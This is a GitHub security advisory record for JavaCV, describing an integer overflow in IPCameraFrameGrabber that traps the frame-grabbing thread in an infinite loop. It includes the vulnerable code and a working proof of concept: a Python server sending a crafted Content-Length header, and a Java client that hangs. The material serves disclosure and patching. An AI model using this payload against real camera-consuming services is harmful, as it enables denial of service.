{"schema_version":"1.9.0","id":"GHSA-rxjv-24xq-76wc","published":"2026-10-16T19:53:06Z","modified":"2026-10-16T20:00:04.169076372Z","aliases":["CVE-2026-102834"],"summary":"JavaCV: Integer Overflow in IPCameraFrameGrabber Causes Infinite-Loop DoS","details":"### Summary\n`IPCameraFrameGrabber` parses the `Content-Length` value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over `http://`, as documented in the class itself) - can supply a `Content-Length` value in the range `1073741825`-`2147483647`. This drives the internal buffer-growth routine `ensureBufferCapacity(int)` into 32-bit signed integer overflow, which turns the \"grow the buffer\" loop into a true infinite loop: the loop variable oscillates to `0` and never again satisfies the loop's exit condition. The thread that called `grab()`/`grabBufferedImage()` spins at 100% CPU forever and never returns, permanently hanging the calling application's frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.\n\n### Details\nFile: `src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java`\n\n```java\nprivate byte[] readImage() throws IOException {\n    ...\n    int c0 = subheader.indexOf(\"content-length: \");\n    final int c1 = subheader.indexOf('\\r', c0);\n    if (c0 < 0) {\n        throw new EOFException(\"The camera stream ended unexpectedly\");\n    }\n    c0 += 16;\n    final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim());   // <-- fully attacker-controlled\n    // adaptive size - careful - don't want a 2G jpeg\n    ensureBufferCapacity(contentLength);                                              // <-- no upper bound enforced\n    input.readFully(pixelBuffer, 0, contentLength);\n    ...\n}\n\nprivate void ensureBufferCapacity(int desiredCapacity) {\n    int capacity = pixelBuffer.length;          // starts at 1024\n    while (capacity < desiredCapacity) {\n        capacity *= 2;                          // <-- unchecked int multiplication\n    }\n    if (capacity > pixelBuffer.length) {\n        pixelBuffer = new byte[capacity];\n    }\n}\n```\n\n`contentLength` is taken verbatim from the HTTP response headers of the camera stream and passed directly into `ensureBufferCapacity` with no upper-bound validation (the comment \"adaptive size - careful - don't want a 2G jpeg\" shows the author was aware of the risk but never implemented a check).\n\n`ensureBufferCapacity` repeatedly doubles `capacity` (a 32-bit `int`, starting at `pixelBuffer.length == 1024`) until it is `>= desiredCapacity`. If `desiredCapacity` is greater than `2^30` (`1073741824`) but `<= Integer.MAX_VALUE` (`2147483647`):\n\n1. `capacity` reaches `2^30` (`1073741824`) after 20 doublings; the loop condition `capacity < desiredCapacity` is still true.\n2. `capacity *= 2` computes `2^31`, which overflows a signed 32-bit `int` and wraps to `Integer.MIN_VALUE` (`-2147483648`).\n3. The loop condition `capacity < desiredCapacity` (a negative number compared to a large positive `desiredCapacity`) is still true, so the loop continues.\n4. `capacity *= 2` computes `Integer.MIN_VALUE * 2`, which in two's-complement 32-bit arithmetic wraps to `0`.\n5. From this point on, `capacity` is permanently `0` (`0 * 2 == 0`), and `0 < desiredCapacity` remains true forever - the `while` loop never terminates.\n\nThis is a pure CPU-bound loop with no I/O, no blocking call, and no `InterruptedException` check, so it cannot be interrupted via `Thread.interrupt()` and will not respect any `readTimeout`/`connectionTimeout` configured on the grabber (those only apply to the socket read that happens *before* this code path). The only remedy is killing the JVM/thread from outside.\n\n### PoC\nA minimal malicious/MITM'd MJPEG server that reproduces the hang:\n\n```python\nimport socket\n\nsrv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsrv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nsrv.bind((\"0.0.0.0\", 8080))\nsrv.listen(1)\nprint(\"listening on :8080\")\nconn, _ = srv.accept()\nconn.recv(4096)  # swallow the client's request\n\n# Any value in (1073741824, 2147483647] triggers the overflow.\nmalicious_length = 2000000000\nheader = (\n    \"--myboundary\\r\\n\"\n    \"Content-Type: image/jpeg\\r\\n\"\n    \"Content-Length: %d\\r\\n\\r\\n\" % malicious_length\n)\nconn.sendall(header.encode())\n# The client will now spin forever inside ensureBufferCapacity()\n# before ever attempting to read the (fake) body.\n```\n\nJava client (representative of any application embedding javacv to view an \"IP camera\" URL):\n\n```java\nimport org.bytedeco.javacv.IPCameraFrameGrabber;\nimport java.util.concurrent.TimeUnit;\n\npublic class Poc {\n    public static void main(String[] args) throws Exception {\n        IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(\n            \"http://127.0.0.1:8080/videostream.cgi\", 5, 5, TimeUnit.SECONDS);\n        grabber.start();\n        grabber.grab(); // never returns; thread pegs a CPU core at 100% forever\n    }\n}\n```\n\nRunning the client against the malicious server above causes `grab()` to hang permanently, consuming a full CPU core, regardless of the `startTimeout`/`grabTimeout` passed to the constructor.\n\n### Impact\nAny application that uses `IPCameraFrameGrabber` to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain `http://` streams (as shown in the class's own documented examples: `http://host/videostream.cgi?...`) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.","affected":[{"package":{"name":"org.bytedeco:javacv","ecosystem":"Maven","purl":"pkg:maven/org.bytedeco/javacv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.14"}]}],"versions":["0.10","0.11","0.8","0.9","1.0","1.1","1.2","1.3","1.3.1","1.3.2","1.3.3","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.5","1.5.1","1.5.10","1.5.11","1.5.12","1.5.13","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rxjv-24xq-76wc/GHSA-rxjv-24xq-76wc.json"}}],"references":[{"type":"WEB","url":"https://github.com/bytedeco/javacv/security/advisories/GHSA-rxjv-24xq-76wc"},{"type":"WEB","url":"https://github.com/bytedeco/javacv/commit/cd1977800b827beadf3c53c4032e57172845e0b4"},{"type":"PACKAGE","url":"https://github.com/bytedeco/javacv"},{"type":"WEB","url":"https://github.com/bytedeco/javacv/releases/tag/1.5.14"}],"database_specific":{"cwe_ids":["CWE-190"],"github_reviewed":true,"github_reviewed_at":"2026-10-16T19:53:06Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}